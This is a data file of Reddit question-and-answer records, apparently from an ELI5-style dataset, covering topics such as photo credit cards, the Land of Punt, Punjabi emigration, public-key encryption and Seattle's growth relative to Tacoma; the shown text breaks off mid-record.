{"q_id": "30hl0h", "title": "why don't we have a picture of our face on credit card?", "selftext": "Also, if someone gets ahold of the credit card number and begins to buy stuff online, shouldn't there be a picture to show that the user is not stealing from someone? ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/30hl0h/eli5_why_dont_we_have_a_picture_of_our_face_on/", "answers": {"a_id": ["cpsgvtd", "cpsh67g", "cpshki4", "cpshkqi", "cpsjw69", "cpsmo8w", "cpsoqel"], "score": [14, 2, 9, 3, 2, 2, 2], "text": ["I used to have a debit card back in the late 90s that had my picture on it.  I don't know why they stopped doing it but they did do it at one time.  It could be people didn't want their picture on the card or maybe the banks didn't want the extra expense.", "I still have one.  But so much credit card fraud these days is done online that it wouldn't help.", "Because all credit cards are premade with half the numbers as blanks. When you order a card, they run it through a scanner and the remaining numbers has to be pressed on along with your info on the black strip. To attach a photo would mean that each card be made individually and thus drastically increase the cost and decrease the efficiency in which they are delivered. ", "You have to consider who would it benefit to add pictures and how much would it benefit?  For the card holder you are not responsible for fraudulant charges.  So if someone got a hold of your card you just report it and a rep will go through the recent transactions with you.  Anything you didn't charge isn't your problem the Credit Card company takes care of it.  So there really is no advantage to the end user.  For the Credit Card company it would reduce fraud but at thte same time it adds a lot of expense custum printing cards with each persons face on them.  As well it adds hassle to the end user that may discourage them from using thier cards as much.  So the bennefit of less fraud isn't worth the extra cost and potential declined usage.  As well the average cashier at Target doesn't care enough to properly check pictures.", "They do offer such cards.  I've had one of [these](_URL_0_) for something like 10 years.  I think I had to fill out a form and mail in a passport-style photo.", "I have a credit card with my picture on it.  It's a Costco Amex card.", "Some banks do add photo ID to their debit cards. Mine does (credit union), and it's come in handy periodically when I've been required to have a 2nd photo ID somewhere. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["https://www.cardbenefits.citi.com/Products/Citi-Photocard.aspx"], [], []]}
{"q_id": "1f96oj", "title": "What makes some plastic sticky after a long period of disuse?", "selftext": "Some plastic, like the ones used to make x-mini speakers, becomes sticky after a certain period of disuse. May I know what is causing this? Is it due to oxidation with the air under sunlight?\n\nAlso, what are some of the practical ways to prevent this from happening? For example, if it's due to oxidation with air, coating it with oil to prevent contact with air may help, but it's not practical as you can no longer use the speaker with comfort.\n\nCurrently, I am sanding off the sticky layer, may I know if it will form back again after a certain period disuse?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1f96oj/what_makes_some_plastic_sticky_after_a_long/", "answers": {"a_id": ["ca83bzw"], "score": [8], "text": ["Without actually looking at the product I'd say it's probably plasticizer leaching from the rest of the plastic to the surface.  If it's painted, it is probably the plasticizer leaching from the plastic to the paint.\n\nMay also be the plastic resin breaking down due to UV, do the speakers sit in direct sunlight?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1h8z76", "title": "Where is the land of Punt", "selftext": "AFAIK, the ancient egyptian used to bring back luxuous products from Punt like incense. And as far as wikipedia tell me the land is supposed to be around Somalia/Somaliland. Is it possible to imagine that, given the quality and the known history of merchants and seaman from the Somalian coast that travel the Indian and Arabian sea, the products of the land of Punt came from India, or even that this country was India ? \n\nWha do modern history have about that ? Thanks.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1h8z76/where_is_the_land_of_punt/", "answers": {"a_id": ["cas00dp", "cas4rl1", "cascob8"], "score": [2, 12, 3], "text": ["It is believed to have been located to the East of Egypt because it is referred to as 'the land of the Gods' which is taken to be a reference to the setting sun. But other than that there isn't any consensus, some locate it in Arabia, some in the horn of Africa, some in India. The horn of Africa hypothesis is the most often cited, but it is not totally dominant. \n\n", "First, regarding trade from India; among scholars of Sumer and Babylon, I believe it is accepted that there was trade with India. Specifically, Daniel Potts explores archaeological evidence from his dig at [Tell Abraq](_URL_3_). So, *could* Indus Valley Civilizations traded with Egypt (perhaps through intermediaries)? possibly. Is India the land of Punt....I doubt it.\n\nIn your question, you specifically mentioned the trade in incense (Frankincense or Myrrh). There is a long and well attested presence of cultivation of the plants from which these resins are derived in Yemen and the Horn of Africa. In my opinion, Egyptian ships would not travel all the way to the Indus questing for Frankincense and Myrrh if it was available in southern Arabia or the Horn of Africa.\n\nHowever, the location of places described in ancient Egyptian records or in the bible are subject to all sorts of interpretation. For instance, an Arabist might tell you that Biblical Ophir refers to the Hijaz, while someone else might tell you King Solomon's Mines are located in Uganda or Zimbabwe. \n\nWithout a very clear piece of evidence such as an inscription saying \"here landed egyptian expedition at land of Punt\" scholars will be forced to piece together clues based on [linguistic clues](_URL_1_) or [different interpretations of inscriptions](_URL_0_) or\n [archaelogical clues about logistics](_URL_2_) \n\nEdit: this subject is not one I am the most informed about, so I am hoping an Egyptologist can come in and clarify any mistakes I might have made.", "Why is everybody talking about the land of Punt as if it went away? Puntland is on the map (I'd link it but I'm on mobile) - it's the Horn of Africa - Northern Somalia technically, though they are de facto independent from Mogadishu now. A lot of Somali pirates operate from there; although there hasn't been a pirate attack in over a year now."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://books.google.com/books?id=TmUwjhQX-rcC&amp;pg=PA587&amp;dq=land+of+punt&amp;hl=en&amp;sa=X&amp;ei=qdTNUc2DN4bl0QHUloDQCg&amp;ved=0CEkQ6AEwBQ#v=onepage&amp;q=land%20of%20punt&amp;f=false", "http://books.google.com/books?id=OS9rSQPyvwoC&amp;pg=PA121&amp;dq=land+of+punt&amp;hl=en&amp;sa=X&amp;ei=qdTNUc2DN4bl0QHUloDQCg&amp;ved=0CEMQ6AEwBA#v=onepage&amp;q=land%20punt&amp;f=false", "http://books.google.com/books?id=1E13DorsFMEC&amp;pg=PA432&amp;dq=land+of+punt&amp;hl=en&amp;sa=X&amp;ei=qdTNUc2DN4bl0QHUloDQCg&amp;ved=0CFcQ6AEwCA#v=onepage&amp;q=land%20of%20punt&amp;f=false", "http://books.google.com/books?id=sHProaWZ_s8C&amp;printsec=frontcover&amp;source=gbs_ge_summary_r&amp;cad=0#v=onepage&amp;q&amp;f=false"], []]}
{"q_id": "4p3c3b", "title": "Why are the majority of British Indians and Pakistanis Punjabis?", "selftext": "60% of British Indians are Punjabis, and while I don't know the figures for Pakistanis, I know that Punjabis are one of the biggest groups.\nI know Punjabis started coming to Britain the 50s and 60s, so I'm wondering if there was something different about Punjab from other parts of India that encouraged people to emigrate?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4p3c3b/why_are_the_majority_of_british_indians_and/", "answers": {"a_id": ["d4hta2i", "d4l139v"], "score": [9, 3], "text": ["I'm not sure where you get the 60% number. I know [Wikipedia states it](_URL_0_), but the reference they provide does not support that number. It actually says that 45% of British Indians are Punjabi, which is still a large number, but not so large.\n\nI think one reason for the over-representation of Punjab is because of the Sikh population. While both Hindu and Sikh Punjabis have emigrated to the UK, 65% of British Indians of Punjabi origin are Sikh, and 35% mostly Hindu (with around 1% Christians and Muslims mixed in). If not for the Sikh diaspora, probably Gujaratis would be the biggest Indian community in the UK.\n\nThis is not unique to the UK, although it does have the largest Sikh population outside India. Many other countries also have a very high proportion of Punjabi Sikhs, for example around 30% of Indian workers in Gulf countries, around 20% of Indian immigrants in Canada.\n\nI can think of a couple of reasons why this may be so. One is that in Hinduism, there was a taboo against sea voyages, referred to as \"kala pani\" (literally black water). The taboo is called *samudrolanghan*, and you risk losing your *varna* or caste status if you cross the sea. There were several reasons for this, for example, it meant being away from family and your own kind of people, it was hard to conform to Hindu traditions and Hindu dietary norms living among strangers, and you were far from the waters of the Ganges.\n\nThis was originally only a requirement for Brahmins, but later other castes also developed similar beliefs in their desire to emulate the Brahmins. In fact, when the British wanted to transport Indian laborers to places like South Africa or the Caribbean to work the farms, they found strong resistance among Indians because of crossing *kala pani*. The British employed several stratagems to overcome this reluctance, including supplying their ships with tanks of water from the Ganges, and providing Ganges water periodically to Indians living abroad in these places.\n\nSikhs do not have this taboo, which may be one reason why they emigrated in large numbers to many countries, including the UK. So another way to look at it is from the perspective that it's not so much that there are so many Punjabi Sikhs abroad, but rather that there is a shortage of Hindus, which makes Punjab over-represented  among Indian diaspora.\n\nThis is evident if you consider the number of Indians compared to other south Asian countries in the UK. There are only 45% more Indians than Pakistanis in the UK, though the India's population is 7 times larger than Pakistan's. The numbers are similar if you consider Bangladeshis. So as a matter of fact, Indians are greatly under-represented in the UK and most countries in proportion to their population. If all Indians emigrated at the same rate as Sikhs, this would not be the case. Hindu reluctance to emigrate has held the numbers down, though this is slowly changing.\n\nAnother reason is education and opportunity. The bulk of Punjabi emigration was soon after independence, in the 50' and 60's. At the time, Punjab was the richest state in India (being part of the Indian breadbasket), and it still is among the richest. As a result, Punjabis were among the healthier, better educated Indians at the time. In much of India, those were times of famine due to chronic failure of the monsoons, and the condition of the people was pretty miserable.\n\nBritain was rebuilding after the war, and needed a lot of labor. At the time, they allowed skilled and unskilled workers from all the commonwealth countries, and this is how Punjabis emigrated. I think it takes a certain amount of awareness of the outside world which comes from education, and some self-confidence which comes from being in reasonably good health, to have the chance to emigrate. These conditions were right in Punjab (and Gujarat), but not so great in poorer states. This may be another reason why Punjabi diaspora is so numerous.", "I would like to politely reject /u/evanrwt's point about \"kala pani\" and expand on the latter points s/he makes. It was, if anything, a marginal consideration for the average Indian. The suggestion of vague Sanskrit scriptural verses playing a major role in broad patterns of Indian immigration reeks of Orientalist thinking. Clearly kala pani didn't stop the Hindu majority Gujaratis from dominating the Indian diaspora historically and presently across colonial British Africa, South America (i.e. Guyana), and the Caribbean.\n\nI would argue Punjabis' disproportionate presence in Britain in particular is more rooted in developments during the colonial period. After the 1857 Sepoy Rebellion, the British Indian state made serious overtures to bring Sikhs and other large and powerful Indian ethnic groups \"into the fold\" so to speak and make them a part of empire. They had naturally realized that a company running a subcontinent wasn't the best way to create a longlasting political entity. \n\nSikhs among others were labelled as a \"martial race\" and accordingly were generously recruited into the British Indian Army. Special Sikh battalions were formed and the notion of this turban wearing, manly beard bearing Sikh warrior was given a new, imperial spin. These battalions were well provisioned and trusted by British officials. \n\nThis leads to major ramifications relevant to your question.\n\nThe first is what was done with retired Sikh/Punjabi soldiers. The land of Punjab means land of five rivers. The British government embarked on an ambitious plan of linking the rivers with various canal irrigation projects to make the region more productive and therefore increase tax revenues and further cultivate resources the empire desired (e.g. wheat, which could be sent to regions like Berar so they could focus on cash crops like cotton). I'm a tad murky on the details of the mechanics of how these agricultural lands were the 'property' of the British Raj to give out, but retiree Sikh/Punjabi soldiers of the British Indian Army were given generous concessions of rich farm land. \n\nNaturally this meant a great success for the British post-1857- they successfully created a militarized and landed group of very pro-British elites. A great example of this proliferation of Anglophilia is Punjab's strong culture of alcohol consumption relative to other Indian states, and the state's high consumption of liquors that are popular in Britain, like whisky and Scotch. \n\nThe second point is Punjab's relative affluence. Due in great part to the processes I just described, Punjab was and still is India's agricultural keystone. It was well positioned to take advantage of the Green Revolution.\n\nThe point here is that Punjab in particular has a long history of intimate links to the British, Britain, and British institutions. Sikh soldiers played a major role in Britain's fight in WWI and WWII; they had significant and institutional exposure to British culture and practices through their institutional links to Britain (e.g. Sikh specific army battalions). \n\nExposure and links to Britain/British culture/British people and the means to make an expensive journey across the world and have the means to have the pre requisite educational background (e.g. English skills) the trip necessitated are why Punjabis I would argue developed such a predilection for immigration. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/British_Indian"], []]}
{"q_id": "5s21oc", "title": "how supplements are not drugs and drugs are not supplements", "selftext": "Like how supplements effect the body and how drugs effect the body. What makes a drug, like HGH, and what makes a supplement?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5s21oc/eli5_how_supplements_are_not_drugs_and_drugs_are/", "answers": {"a_id": ["ddbuurz", "ddc1ow3"], "score": [2, 5], "text": ["Im just guessing here (not a nutritionist or pharmacist),  but as far as i understand it the chemicals in drugs change the way your body functions (not doing what it would naturally) ,  whereas supplements just give you body more of something you'd already have \n\n\nExample- paracetamol is a drug because it changes the way your body deals with pain and inflammation. \n\nVitamin C supplements aren't drugs because you would already be intaking  the vitamins,  it just gives your body an excess so you definitely dont run out? \n\n\nAgain, this is just my basic understanding of biology here so go easy if im completely wrong. ", "It entirely depends upon whether that particular substance has been put through the rigorous multi-year testing required by the US Food and Drug Administration  (FDA) to prove that said substance does actually help or cure the condition the company claims it does (and won't kill anybody in the process).  That process is Hella fucking expensive,  and if a company can avoid it, it does, because prefer to make as much dough as possible, without being bothered by pesky things like prosecution for wrongful deaths.  So if a company sells a substance (like Echinacea or St Johns Wort) as a supplement, they ain't gotta do any testing.  This doesn't save them from prosecution if people die, though.   And if enough people complain, the FDA will get 'em on false advertising  anyway  (As is currently  happening with the weight loss product Garcinia Cambogia)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "3uapwb", "title": "why did europeans go all the way down to the bottom of africa to get to asia?", "selftext": "In other words, why was the trade route around Cape Town a thing?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3uapwb/eli5_why_did_europeans_go_all_the_way_down_to_the/", "answers": {"a_id": ["cxdbc33", "cxdbhs2", "cxdhiz9"], "score": [5, 2, 2], "text": ["It was the fastest way by sea to asia. Land routes were treacherous and slow, and you had to cross mountains to get to asia.", "Land travel is limited by distance, geography, taxation restrictions and the risk of accidents or attack from bandits or political enemies. Going from Europe to, say, India takes you across what is virtually impassable terrain including deserts, mountains and the steppes. Even without escorting trading goods, it is a virtually impossible journey at this point in history.\n\nGoing by sea allows you to move a much larger quantity of people and goods in a faster timescale, increasingly so as new technologies and building techniques allows for bigger and faster ships. \n\nIt also fuels and is fueled by a desire to investigate new lands to create new ports and find new resources.", "A camel can carry about 400 pounds about 25 miles per day and require a driver] for about every half dozen camels. Camel caravans are subject to taxes in civilized jurisdictions and subject to raids outside them. A square rigged boat will carry a couple thousand tons or so at 250 miles per day with a dozen crew, and pay taxes at departure and landing. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "2lzzoo", "title": "how do two end clients know an encryption key but nothing in-between?", "selftext": "If I send a file from Seattle to New York and it is encrypted on my end how does the other end know how to decrypt it, I also send a key right? Wouldn't all the networks between the two points see the encryption key and know how to decrypt the file?\n\nI could have a complete misunderstanding of how it all works. ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2lzzoo/eli5_how_do_two_end_clients_know_an_encryption/", "answers": {"a_id": ["clzp5fk", "clzp5xu", "clzp8o5", "clzpa5i", "clzpecl", "clzw603"], "score": [2, 9, 5, 3, 2, 2], "text": ["They use special cryptographic algorithms to transfer the key. Like [this](_URL_0_)\n", "You use public key encryption.\n\nIn normal symmetric encryption, the same encryption key is used for encryption and decryption. In public key encryption (aka asymmetric encryption) the key used for encryption and the key used for decryption are different (they are related to each other, but cannot be easily derived from each other). So for example if Alice wants to send Bob an encrypted message, Bob needs to generate an encryption and decryption key pair. The encryption key (the *public key*) is publicly available, while the decryption key (the *private key*) remains a secret which only Bob knows. If Alice wants to sends Bob a message, all she needs to do is encrypt it with Bob's public key, and then only Bob will be able to decrypt it.\n\nSince asymmetric encryption is less efficient than the standard symmetric encryption, what usually happens is that instead of encrypting the message with Bob's public key, she create a random, one time encryption key and uses it to encrypt her message, and then just uses Bob's public key to encrypt the encryption key. Bob will then decrypt the encryption key, and use it to decrypt the message.\n\nThere are several different public key algorithms, the first and most notable one is called RSA. You can search this sub if you want more information about how it works exactly.\n\nAnother option is for Alice and Bob is to generate an encryption key together using a key exchange mechanism, such as Diffie Hellman. You can also search this subreddit if you want to know how it works.", "There are some interesting tricks out there to prevent this issue. Mainly you have things like asymmetric encryption.\n\nYou're used to thinking in terms of symmetric encrytion because that's what most things are in the real-world. You locked a box with a key, and the same key opens it up.\n\nAsymmetric encryption allows you to lock a box with one key, and open it with another. You create key-pairs - something encrypted by one key can only be opened by the other, and vice versa.\n\nThe convention is you make one your public key, and one your private key. The private key should, as the name says, be private. Never give it out.\n\nThe public key can be given out freely - in fact it's meant to be. \n\nSo if I want to share some stuff with my friend over yonder and I want to encrypt without a pre-shared key here's what I do: I download my friends public key, and encrypt my payload with it. As is the nature of the cipher this means the only thing out there that can decrypt this is my friends private key.\n\nThis means I can send it on an insecure network in trust that only my friend can decrypt the payload. \n\nPeople have worked very, very hard to make sure that, in this system, you can't derive the private key from the public.\n\nNow there's a more complex thing we can do for added security: how does my friend know that what I sent them really came from me? Their public key is publicly viewable, so anybody can encrypt things with it. \n\nSo there's often a double-round of encryption performed. I encrypt the payload using my friends public key and my private key.\n\nWhen my friend receives the payload they know that if they can decrypt it by using their private key and my public key that either I sent that payload, or my private key was compromised. (Hopefully the former.)\n\nThis is the basis of 'digital signing' that lets you have a reasonable assurance that when you download drivers there are the ones the manufacturer made, not some rootkit from shady folk.\n\nThis is the basis of https:// certificates verifying themselves as being the website they claim to be.", "There is a mechanism called 'key exchange'  which lets 2 endpoints calculate a key to use,  but an eavesdropper with all the transmitted information cannot work out what the keys are.\n\nA simplified version.\n\nWe decide on a number X and share it.\n\nWe each think of a secret number.  Mine is A.  Yours is B.\n\nI send you X+A\n\nYou send me X+B\n\nI calculate (X+B)+A\n\nYou calculate (X+A)+B\n\n(X+B)+A = (X+A)+B = the encryption key.\n\n\nThe eaves dropper sees  X,  X+A  and X+B  and with this information cannot work out what X+A+B  is.\n\n\nThe trick is that in the real world we don't use addition because if we did it is easy for an eavesdropper to calculate A+B+X after seeing X,  X+A and X+B  fly by.\n\n\nWe really use a function (%) for which  (X%A)%B = (X%B)%A  but  given  X and X%A  you can't work out what A is.", "Without getting into all the math, the RSA encryption method works by having a public and private key. The math works in such a way that the private key decrypts messages encrypted with the public key and the public key can decrypt messages encrypted with the private key (though you would normally only encrypt with the public key and decrypt with the private, you could switch it up). You then release the public key and have computers encrypt using that. The host computer keeps the private key private and uses it to decrypt. You only need one key on each end due to mathematical trickery.\n\nThe math is based on one of Fermat's theorems and the security is based on the fact that it is incredibly difficult, if not currently impossible, to find the two prime factors of a sufficiently large semiprime number. If you want more about the math, check here: _URL_0_", "[Like this](_URL_0_)\n\nNo keys are exposed to the network. Private keys are never shared, and public keys are only sent in messages that were encrypted with one or more private keys.\n\nAlice uses her private key to encrypt her public key which she sends to Bob. Network can't read encrypted message.\n\nBob receives it but can't read it so he encrypts it with his private key and sends it back. Network can't read double-encrypted message.\n\nAlice receives it, removes her private encryption, and sends it back. Network can't read encrypted message.\n\nBob receives it, removes his private encryption, now message can be read and he receives Alice's public key. The network hasn't read any message. Now Bob is the only one who can read any message encrypted with Alice's public key."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Diffie%E2%80%93Hellman_key_exchange"], [], [], [], ["http://doctrina.org/Why-RSA-Works-Three-Fundamental-Questions-Answered.html"], ["https://www.youtube.com/watch?v=U62S8SchxX4"]]}
{"q_id": "29psu1", "title": "in movies, why first-time killers tend to puke after their kill?", "selftext": "I know it's used as tool to show that the killer never killed anyone before and he is quite shaken by it, but it never makes sense for me. People usually don't puke just because something very stressful happens. Is it just a Hollywood thing?\n\nI'm not talking about puking after seeing a disgusting corpse or something. I mean, in Breaking Bad's pilot, the guy puked without even seeing the bodies.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/29psu1/eli5_in_movies_why_firsttime_killers_tend_to_puke/", "answers": {"a_id": ["cinb03m", "cinb7cz", "cinbqkb"], "score": [2, 2, 3], "text": ["Just the shock of ending a life.", "Kill someone and find out!", " > People usually don't puke just because something very stressful happens.\n\nYou're wrong about this. I mean, it's not an \"every time\" kind of thing, but one of the reactions to extreme stress is, well, puking. Maybe it's overrepresented in movies, but it's a real thing."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "48aytd", "title": "how can a usb with 1 gb of space be used to install an operating system that takes up much more space?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/48aytd/eli5_how_can_a_usb_with_1_gb_of_space_be_used_to/", "answers": {"a_id": ["d0i6149", "d0i7nl3", "d0i8pjk", "d0idhg7"], "score": [47, 2, 2, 2], "text": ["Consider a piece of Ikea furniture, while it's flat packed it doesn't take up much space, but can't be used. After you assemble it it takes up a lot more space, but you can use it.  \nSame with operating systems, there are ways of compressing data, but you have to decompress it to use it. Decompressing it every time you want to use it takes time. So by installing, you leave a decompressed version to use whenever you want to.", "There is a lot of compression, and some just assume you're online and download what they need.", "The install files on the USB are compressed.  When you do the actual install, these files are uncompressed onto the hard disk.  That and these days updates/extra stuff is downloaded during the installation.", "In a word, it's down to **compression**. \n\nPut simply, you could represent a thousand \"1010\"s by having something that reads 1010 1010 1010 1010 up to a thousand times, which as you'd imagine would be pretty big. Or, you could represent it by having a file that says essentially \"a thousand 1010's\". \n\nThe same information in a fraction of the space. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "ci0zii", "title": "how are the classical dances in plays like the nutcracker recorded/written down?", "selftext": "I\u2019ve recently started watching bits and pieces of classical ballets and was wondering how the dance moves are written down? For example, in classical music, the music is written on a music sheet and so if you want to play music from the nutcracker, you can just find nutcracker sheet music. But what about ballets? Is there\u2019s a system to record the dances so that you can teach it accurately next year? Or is it by word of mouth, like your teacher learns it by being taught by someone who knows it, and then teaches you? Then how do you know if it\u2019s consistent?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/ci0zii/eli5_how_are_the_classical_dances_in_plays_like/", "answers": {"a_id": ["ev0etmb", "ev0fqbx", "ev0n1k4", "ev27hvy", "ev3uigz"], "score": [18, 73, 8, 4, 3], "text": ["They just made a little flipbook with crudely drawn stick figures which gets passed down throughout the ages.", "There's a dance equivalent of musical notation.  It's called dance notation.  See  [_URL_1_](_URL_0_)  for details.", "It helps to that in the country of origin (nutcracker for instance, Russian) that the Ballet is preformed often by the same dance company annually.  So while parts of it are written down.  It is simply passed from one generation to the next by the performing of it.", "Word of mouth, oral history, was used in the past, before the invention of writing. But since then, pretty much everything can be recorded in written form. So, yes, people develop scripts, and notations, even drawings, to document whatever they want to transmit to others.\n\nTake for example a movie. Somebody writes a script and somebody makes a storyboard with scenes. Then the movie is made. If the original movie is lost, but you still have the script and the storyboard, you could in theory recreate the movie.", "There\u2019s a system of notation called [Bennish Notation](_URL_0_) but I\u2019m not sure if it\u2019s widely used, from my understanding it was a relatively new creation compared to the age of ballet. \n\nFor the most part people just learned the choreography from each other. I have a very old school teacher and he emphasizes that every dancer should learn the choreography for every role in the ballet, even if they don\u2019t preform it, because it\u2019s just good practice to know all the choreography. You can also write down dance fairly descriptively in language, and some historical dances follow the same rhythm pattern, so it\u2019s possible to combine the written dance steps with what you know about the rhythm to figure out how the dance fits in the music."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://en.wikipedia.org/wiki/Dance_notation", "https://en.wikipedia.org/wiki/Dance\\_notation"], [], [], ["https://en.m.wikipedia.org/wiki/Benesh_Movement_Notation"]]}
{"q_id": "dkt3pz", "title": "Seattle vs. Tacoma WA. Why did Seattle explode in growth while Tacoma stagnated?", "selftext": "Tacoma had an early advantage with the terminus of the railroad. So why did Seattle\u2019s importance/population explode over the course of the early 20th century while Tacoma took a backseat?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/dkt3pz/seattle_vs_tacoma_wa_why_did_seattle_explode_in/", "answers": {"a_id": ["f4keoow", "f4m7vy7"], "score": [957, 42], "text": ["Lots of reasons, one of the most important being the Klondike Gold Rush. The first ship full of gold (more than a ton) from the Klondike, the *Portland*, docked in Seattle on July 17, 1897. Seattle managed to make itself known as the ideal port of departure for the tens of thousands of people who flocked to the Klondike at the end of the 1890s. The Seattle journalist Erastus Brainerd launched a huge publicity campaign touting Seattle as the \"gateway to Alaska\" and the ideal place for miners to outfit themselves before heading north. Brainerd is often given credit for Seattle's gold rush boom being as big as it was, although it certainly wasn't his doing alone.\n\nSeattle was quick to capitalize on the gold rush and the city boomed as a result. People formed companies selling goods that prospectors would need, and companies offering transportation north to Skagway, the main route to the gold fields. Other companies offered guidebooks, advice/consulting about everything one might want to know before heading north. The mayor of Seattle himself resigned to form a company transporting miners to the Klondike. After the gold rush a good number of Seattleites returned to Seattle with wealth, opening new businesses and continuing the boom (for example, Nordstrom was founded in 1901 with gold rush money).\n\nSan Francisco was able to capitalize on the Klondike Gold Rush as well. Tacoma saw some benefit, but it paled in comparison to Seattle. Likewise for other nearby cities like Portland, Victoria, Vancouver. Seattle's success is often attributed to Erastus Brainerd's massive advertising campaign. No other city came close to Seattle in terms of selling themselves to prospectors as the place to go in order to join the gold rush.\n\nOnce the scale of the gold rush was known, other cities launched advertising campaigns like Seattle's. Portland, for example, launched a campaign similar to Brainerd's. Seattle and Portland fought a kind of \"advertising war\". In the end Portland did experience a boom due to the gold rush, but one much smaller than Seattle's.\n\nMeanwhile Tacoma, which like Seattle was well positioned to take advantage of the gold rush, was slow to act on it. Murray Morgan, in his history of Tacoma *Puget's Sound*, says that compared to Seattle, Tacoma's response to the gold rush was slow and lacking vigor. He wrote, \"Before Tacoma awoke to the full possibilities of the rush north, Seattle was synonymous with Alaska\".\n\nThe press in Tacoma seemed not to realize the potential of the gold rush. In Seattle the whole city was excited and taking action even before the first gold ship, the *Portland*, reached dock. The newspapers immediately starting vigorously promoting Seattle for the gold rush. Meanwhile in Tacoma, two days after the *Portland* arrived in Seattle, the *Tacoma Daily News* reported that the city \"has not gone wild over the Klondike\", and advised people to \"not lose their heads over distant gold fields, only to be reached after extreme hardship\", and \"Careful people who are making a living will stay where they are\".\n\nAbout two weeks later the *Tacoma Daily News* criticized Seattle for being so aggressive about the gold rush and said the city \"should not make a spectacle of herself\", and that \"the Seattle spirit\" was \"unlovely\", \"hoggishness and snarling\".\n\nA few weeks later yet and Tacoma businessmen began to realize how much they were missing out, and began making more serious efforts. But in many ways it was already too late. Things were made more difficult because Tacoma was right at the time suffering from a very divided and scandal-ridden mayoral election. The election had come down to just two votes and the ballot boxes had been stolen so a recount could not be done. Neither mayor would conceed and both set up competing city governments. So right when all this gold rush stuff was happening Tacoma had two opposed mayors engaged in an attention-diverting political battle.\n\nOn top of that, the Tacoma Chamber of Commerce fell into a three-way split over the appointment of a publicity director for a Tacoma-based Klondike advertising campaign. A lot of the advertising that Tacoma did was poorly done, or lackluster attempts to copy what Seattle was doing.\n\nIn September, 1897, a couple months after the gold rush started, the *Seattle Daily Times* published an article titled \"Tacoma Has Given Up\". The paper said that Seattle promoters simply did not see Tacoma as a threat. Portland and San Francisco were the main cities to worry about in regards to the gold rush.\n\nTacoma did manage to make some efforts to promote itself in the Klondike trade, and some profits were made, but they were miniscule compared to Seattle. Murray Morgan wrote that when the gold rush was over \n\n > \"The race for dominance on Puget Sound was over. Tacoma was the second city. Its struggle in the next years was not for triumph but for survival\". \n\nThe two cities had been more or less equal up until then, and had been fighting for dominance for decades. In 1890 the two had approximately equal populations. But in 1900 Seattle's population had exceeded 80,000, while Tacoma's was just under 38,000, barely more than it was in 1890.\n\nThere are of course many other factors that play into why Seattle \"won\" this struggle for dominance with Tacoma. It's true that Tacoma had, at least in theory, an \"early advantage\" in being chosen to be the terminus of the Northern Pacific Railway. Certainly many people in both cities saw it as a big deal back then. But although Tacoma was selected as such in 1873, the Northern Pacific experienced all kinds of problems. Rail between Tacoma and Portland was finished relatively quickly (and between Tacoma and Seattle too), but the transcontinental connection to St. Paul, Chicago, and beyond, wasn't finished until 1881.\n\nStill, during the 1880s Seattle was very concerned about Tacoma's rail status and how it might lead to Tacoma overtaking Seattle in the region. The history of rail in the region is complicated, but important to this story is the economic depression of the 1890s, after the Panic of 1893. During the ensuing depression the Northern Pacific went bankrupt. Both Seattle and Tacoma experienced severe economic depression. It was the Klondike Gold Rush that lifted the region, and Seattle most of all, out of the depression. As Seattle boomed after 1897 and surpassed Tacoma economically, it also gained the upper hand in terms of railways. In 1899 the Northern Pacific bought Seattle waterfront property and began work on a large rail depot. This spurned J.J. Hill's railroad building efforts, which led to the Great Northern Railway to build to Seattle. The history is complex and I'm oversimplifying, but in short a major rail terminal was built on King Street in Seattle. When it was finished in 1906 it served both the Great Northern and the Northern Pacific, and Seattle effectively surpassed Tacoma as a railway hub.\n\nAnother rail-related aspect of Tacoma's failure to capture the gold rush trade had to do with the Northern Pacific's dominance *in* Tacoma. When the *Portland* arrived in Seattle in 1897 Tacoma was in many ways something like a \"company town\", dominated by the Northern Pacific. But the railway was in a bad state during the 1890s. It fell into bankruptcy (for the second time) in 1893. Following that competing interests fought for control of the company. There were lawsuits, major court cases, changes in leadership, and general chaos in company for years, including right when the Klondike Gold Rush started. All this meant that Tacoma, a sort of Northern Pacific company town in many ways, was not in the strongest or most confident state in 1897 when the gold rush began.\n\nTacoma suffered from the depression in more ways than just railroad stuff, and had a harder time recovering than many other places in the region. As John Caldbick put it in the essay \"Panic of 1893 and Its Aftermath\":\n\n > \"Tacoma, damaged so deeply by the depression in so many different ways, had perhaps the most difficult time recovering. It was unable to straighten out its municipal finances until mid 1900, and would never again seriously compete with Seattle for regional dominance.\"\n\nHere's a few sources on all this. I'm mostly drawing on Murray Morgan's books on Seattle and Tacoma history (I've cited the most recent editions; these books have been updated and republished multiple times over the years):\n\n* Morgan, M.,  &  Sullivan, M. (2018). *Puget's Sound: A narrative of early Tacoma and the southern sound.*  \n\n* Morgan, M. (2018). *Skid Road: An informal portrait of Seattle.*  \n\nAnd here's a few web pages on the topic that might be of interest:\n\n* 